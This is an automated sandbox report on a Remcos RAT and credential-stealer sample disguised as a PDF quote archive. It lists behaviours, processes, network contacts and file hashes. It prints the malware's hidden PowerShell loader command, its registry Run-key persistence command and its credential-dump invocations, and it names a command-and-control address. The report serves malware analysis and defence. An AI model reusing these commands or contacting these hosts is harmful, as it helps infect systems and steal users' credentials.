Malware Analysis Report

2024-12-07 22:14

Sample ID 240806-qmt38athma
Target Quots-875-765-pdf.rar
SHA256 ba7c0c9e14071e1bff1e5ea34663e7a735a40c325e87eff12eecdd75d701ded3
Tags
discovery execution persistence remcos remotehost collection credential_access rat spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ba7c0c9e14071e1bff1e5ea34663e7a735a40c325e87eff12eecdd75d701ded3

Threat Level: Known bad

The file Quots-875-765-pdf.rar was found to be: Known bad.

Malicious Activity Summary

discovery execution persistence remcos remotehost collection credential_access rat spyware stealer

Remcos

NirSoft WebBrowserPassView

Detected Nirsoft tools

NirSoft MailPassView

Credentials from Password Stores: Credentials from Web Browsers

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

Reads user/profile data of web browsers

Checks computer location settings

Loads dropped DLL

Adds Run key to start application

Accesses Microsoft Outlook accounts

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of SetThreadContext

Suspicious use of NtCreateThreadExHideFromDebugger

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Modifies registry key

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: MapViewOfSection

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-06 13:23

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-06 13:23

Reported

2024-08-06 13:25

Platform

win7-20240705-en

Max time kernel

143s

Max time network

118s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%sekundrfilens% -windowstyle minimized $Seismologue=(Get-ItemProperty -Path 'HKCU:\\Ceration48\\').Openheartedness0;%sekundrfilens% ($Seismologue)" C:\Windows\SysWOW64\reg.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2560 set thread context of 3040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2536 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2536 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2536 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2536 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2560 wrote to memory of 3040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 2560 wrote to memory of 3040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 2560 wrote to memory of 3040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 2560 wrote to memory of 3040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 2560 wrote to memory of 3040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 2560 wrote to memory of 3040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 3040 wrote to memory of 2944 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Windows\SysWOW64\cmd.exe
PID 3040 wrote to memory of 2944 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Windows\SysWOW64\cmd.exe
PID 3040 wrote to memory of 2944 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Windows\SysWOW64\cmd.exe
PID 3040 wrote to memory of 2944 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Windows\SysWOW64\cmd.exe
PID 2944 wrote to memory of 2996 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2944 wrote to memory of 2996 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2944 wrote to memory of 2996 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2944 wrote to memory of 2996 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe

"C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$galdens=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Myrmecophile\indregistreringers\Tangerendes\Labourhoods.Mas';$beboerhusene=$galdens.SubString(2416,3);.$beboerhusene($galdens)"

C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe

"C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%sekundrfilens% -windowstyle minimized $Seismologue=(Get-ItemProperty -Path 'HKCU:\Ceration48\').Openheartedness0;%sekundrfilens% ($Seismologue)"

C:\Windows\SysWOW64\reg.exe

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%sekundrfilens% -windowstyle minimized $Seismologue=(Get-ItemProperty -Path 'HKCU:\Ceration48\').Openheartedness0;%sekundrfilens% ($Seismologue)"

Network

Country Destination Domain Proto
US 8.8.8.8:53 asjstudio.cl udp
CL 201.148.104.39:443 asjstudio.cl tcp
CL 201.148.104.39:443 asjstudio.cl tcp
CL 201.148.104.39:443 asjstudio.cl tcp
CL 201.148.104.39:443 asjstudio.cl tcp

Files

memory/2560-8-0x0000000073F31000-0x0000000073F32000-memory.dmp

memory/2560-9-0x0000000073F30000-0x00000000744DB000-memory.dmp

memory/2560-11-0x0000000073F30000-0x00000000744DB000-memory.dmp

memory/2560-10-0x0000000073F30000-0x00000000744DB000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Myrmecophile\indregistreringers\Tangerendes\Labourhoods.Mas

MD5 edef981795fb6272025d069c64f98d9e
SHA1 665b7096bbd7c215bcf9c22e08e4148ae1eb7f9d
SHA256 f3b691cb8a7d661732bdd82f35cbe5cc2ed99fedc6992646803e871d221e9e37
SHA512 eff41508448d5949e79a3fa951006d28fe822364a72029f59e5f493cd9c59252dc02116c4777aeb5a2e389c075c43651e6198b713239f69f692c89aaa7ade583

memory/2560-14-0x0000000073F30000-0x00000000744DB000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Myrmecophile\indregistreringers\Tangerendes\Monoerne.Ple

MD5 b75ebbcb5d2f614b0a9e050c93cdb838
SHA1 0ca8fd75e51890798ae01761532627d46c89ddd5
SHA256 08ddca57d81a3aa14a1ec07e0beede85bfb8104014d67cc8a2332be5a091abcb
SHA512 76fb2fde501d5d89edf279796f0ae6ef8f88dd42e07e759614f49008a46639ad848df3db5acc4e9ebd2002a7e02b6303935871a0d66f351d293229ecb4ab5371

memory/2560-16-0x0000000073F30000-0x00000000744DB000-memory.dmp

memory/2560-17-0x00000000065C0000-0x0000000009243000-memory.dmp

\Users\Admin\AppData\Local\Temp\Skankemageren.exe

MD5 a4c6a296a5b55a2858c0343d2c44490b
SHA1 01c57919f82cf0ec9683540735141302032ac070
SHA256 f7f089f7f7753da939649fe98a4d274e44b837a61b72d022897858e1998cc7c4
SHA512 0bd26eb1250c24b3b0ea5938c17d71dcf9b7467fc85588e8b13978e8d06aaa6e34dd276ebb67c4455e2a8db4458d487c8bde54c7a0cf4bed2e54a323194ef13f

memory/2560-22-0x0000000073F30000-0x00000000744DB000-memory.dmp

memory/3040-23-0x00000000004C0000-0x0000000001522000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-06 13:23

Reported

2024-08-06 13:25

Platform

win10v2004-20240802-en

Max time kernel

149s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe"

Signatures

Remcos

rat remcos

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Detected Nirsoft tools

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%sekundrfilens% -windowstyle minimized $Seismologue=(Get-ItemProperty -Path 'HKCU:\\Ceration48\\').Openheartedness0;%sekundrfilens% ($Seismologue)" C:\Windows\SysWOW64\reg.exe N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1004 wrote to memory of 4024 N/A C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1004 wrote to memory of 4024 N/A C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1004 wrote to memory of 4024 N/A C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4024 wrote to memory of 3600 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 4024 wrote to memory of 3600 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 4024 wrote to memory of 3600 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 4024 wrote to memory of 3600 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 4024 wrote to memory of 3600 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 3600 wrote to memory of 4380 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Windows\SysWOW64\cmd.exe
PID 3600 wrote to memory of 4380 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Windows\SysWOW64\cmd.exe
PID 3600 wrote to memory of 4380 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Windows\SysWOW64\cmd.exe
PID 4380 wrote to memory of 4400 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 4380 wrote to memory of 4400 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 4380 wrote to memory of 4400 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 3600 wrote to memory of 4384 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 3600 wrote to memory of 4384 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 3600 wrote to memory of 4384 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 3600 wrote to memory of 3088 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 3600 wrote to memory of 3088 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 3600 wrote to memory of 3088 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 3600 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 3600 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
PID 3600 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe

"C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$galdens=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Myrmecophile\indregistreringers\Tangerendes\Labourhoods.Mas';$beboerhusene=$galdens.SubString(2416,3);.$beboerhusene($galdens)"

C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe

"C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%sekundrfilens% -windowstyle minimized $Seismologue=(Get-ItemProperty -Path 'HKCU:\Ceration48\').Openheartedness0;%sekundrfilens% ($Seismologue)"

C:\Windows\SysWOW64\reg.exe

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%sekundrfilens% -windowstyle minimized $Seismologue=(Get-ItemProperty -Path 'HKCU:\Ceration48\').Openheartedness0;%sekundrfilens% ($Seismologue)"

C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe

C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe /stext "C:\Users\Admin\AppData\Local\Temp\mjoxzpncsjznlyqriejchvyrymnuerj"

C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe

C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe /stext "C:\Users\Admin\AppData\Local\Temp\xltiahxwgrravffvrpdekisaztfvxchcts"

C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe

C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe /stext "C:\Users\Admin\AppData\Local\Temp\hfzaba"

Network

Country Destination Domain Proto
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 asjstudio.cl udp
CL 201.148.104.39:443 asjstudio.cl tcp
US 8.8.8.8:53 39.104.148.201.in-addr.arpa udp
US 8.8.8.8:53 148.101.18.2.in-addr.arpa udp
HR 45.95.169.139:2404 tcp
HR 45.95.169.139:2404 tcp
US 8.8.8.8:53 geoplugin.net udp
HR 45.95.169.139:2404 tcp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 139.169.95.45.in-addr.arpa udp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 71.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp

Files

memory/4024-6-0x0000000073C6E000-0x0000000073C6F000-memory.dmp

memory/4024-7-0x0000000002540000-0x0000000002576000-memory.dmp

memory/4024-9-0x0000000073C60000-0x0000000074410000-memory.dmp

memory/4024-8-0x0000000004C50000-0x0000000005278000-memory.dmp

memory/4024-10-0x0000000073C60000-0x0000000074410000-memory.dmp

memory/4024-11-0x0000000004B60000-0x0000000004B82000-memory.dmp

memory/4024-12-0x0000000005460000-0x00000000054C6000-memory.dmp

memory/4024-13-0x00000000054D0000-0x0000000005536000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t0oo2xdx.dqb.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4024-19-0x0000000005540000-0x0000000005894000-memory.dmp

memory/4024-24-0x0000000005B20000-0x0000000005B3E000-memory.dmp

memory/4024-25-0x0000000005B50000-0x0000000005B9C000-memory.dmp

memory/4024-26-0x0000000006D10000-0x0000000006DA6000-memory.dmp

memory/4024-27-0x0000000006020000-0x000000000603A000-memory.dmp

memory/4024-28-0x0000000006070000-0x0000000006092000-memory.dmp

memory/4024-29-0x0000000007360000-0x0000000007904000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Myrmecophile\indregistreringers\Tangerendes\Labourhoods.Mas

MD5 edef981795fb6272025d069c64f98d9e
SHA1 665b7096bbd7c215bcf9c22e08e4148ae1eb7f9d
SHA256 f3b691cb8a7d661732bdd82f35cbe5cc2ed99fedc6992646803e871d221e9e37
SHA512 eff41508448d5949e79a3fa951006d28fe822364a72029f59e5f493cd9c59252dc02116c4777aeb5a2e389c075c43651e6198b713239f69f692c89aaa7ade583

memory/4024-31-0x0000000007F90000-0x000000000860A000-memory.dmp

memory/4024-33-0x0000000073C60000-0x0000000074410000-memory.dmp

memory/4024-34-0x0000000073C60000-0x0000000074410000-memory.dmp

memory/4024-35-0x0000000073C60000-0x0000000074410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Myrmecophile\indregistreringers\Tangerendes\Monoerne.Ple

MD5 b75ebbcb5d2f614b0a9e050c93cdb838
SHA1 0ca8fd75e51890798ae01761532627d46c89ddd5
SHA256 08ddca57d81a3aa14a1ec07e0beede85bfb8104014d67cc8a2332be5a091abcb
SHA512 76fb2fde501d5d89edf279796f0ae6ef8f88dd42e07e759614f49008a46639ad848df3db5acc4e9ebd2002a7e02b6303935871a0d66f351d293229ecb4ab5371

memory/4024-37-0x0000000073C60000-0x0000000074410000-memory.dmp

memory/4024-39-0x0000000073C60000-0x0000000074410000-memory.dmp

memory/4024-38-0x0000000008610000-0x000000000B293000-memory.dmp

memory/4024-40-0x0000000073C6E000-0x0000000073C6F000-memory.dmp

memory/4024-42-0x0000000073C60000-0x0000000074410000-memory.dmp

memory/4024-43-0x0000000073C60000-0x0000000074410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe

MD5 a4c6a296a5b55a2858c0343d2c44490b
SHA1 01c57919f82cf0ec9683540735141302032ac070
SHA256 f7f089f7f7753da939649fe98a4d274e44b837a61b72d022897858e1998cc7c4
SHA512 0bd26eb1250c24b3b0ea5938c17d71dcf9b7467fc85588e8b13978e8d06aaa6e34dd276ebb67c4455e2a8db4458d487c8bde54c7a0cf4bed2e54a323194ef13f

memory/4024-46-0x0000000073C60000-0x0000000074410000-memory.dmp

memory/3600-50-0x00000000004C0000-0x0000000001714000-memory.dmp

memory/4024-55-0x0000000073C60000-0x0000000074410000-memory.dmp

memory/4384-58-0x0000000000400000-0x0000000000478000-memory.dmp

memory/4384-63-0x0000000000400000-0x0000000000478000-memory.dmp

memory/5084-77-0x0000000000400000-0x0000000000424000-memory.dmp

memory/5084-71-0x0000000000400000-0x0000000000424000-memory.dmp

memory/3088-70-0x0000000000400000-0x0000000000462000-memory.dmp

memory/4384-69-0x0000000000400000-0x0000000000478000-memory.dmp

memory/3088-67-0x0000000000400000-0x0000000000462000-memory.dmp

memory/4384-65-0x0000000000400000-0x0000000000478000-memory.dmp

memory/3088-64-0x0000000000400000-0x0000000000462000-memory.dmp

memory/5084-80-0x0000000000400000-0x0000000000424000-memory.dmp

memory/5084-78-0x0000000000400000-0x0000000000424000-memory.dmp

memory/3088-61-0x0000000000400000-0x0000000000462000-memory.dmp

memory/4384-85-0x0000000000400000-0x0000000000478000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\mjoxzpncsjznlyqriejchvyrymnuerj

MD5 18db1829b27eaeed163c211f5d179d72
SHA1 4442332494cba1e012f8876ecac42126ba995bc6
SHA256 610c5ee3f0e63441521d26bc477c9618a4c5f86e93d31b31890680c69e3ecc3d
SHA512 123d68b2c84f7a52d15faa212c06f33b04a55585e2aeb16bb14df95b18c0bcf31933e5bf0c736c90bc054b9527fccb046540d3302a0f149ebeed7c6bcca0b986

memory/3600-87-0x0000000020970000-0x0000000020989000-memory.dmp

memory/3600-91-0x0000000020970000-0x0000000020989000-memory.dmp

memory/3600-90-0x0000000020970000-0x0000000020989000-memory.dmp

memory/3600-92-0x00000000004C0000-0x0000000001714000-memory.dmp

memory/3600-93-0x00000000004C0000-0x0000000001714000-memory.dmp

memory/3600-94-0x00000000004C0000-0x0000000001714000-memory.dmp

memory/3600-95-0x00000000004C0000-0x0000000001714000-memory.dmp

memory/3600-96-0x00000000004C0000-0x0000000001714000-memory.dmp

memory/3600-97-0x00000000004C0000-0x0000000001714000-memory.dmp

memory/3600-98-0x00000000004C0000-0x0000000001714000-memory.dmp

memory/3600-99-0x00000000004C0000-0x0000000001714000-memory.dmp

memory/3600-100-0x00000000004C0000-0x0000000001714000-memory.dmp

memory/3600-101-0x00000000004C0000-0x0000000001714000-memory.dmp

memory/3600-102-0x00000000004C0000-0x0000000001714000-memory.dmp

memory/3600-103-0x00000000004C0000-0x0000000001714000-memory.dmp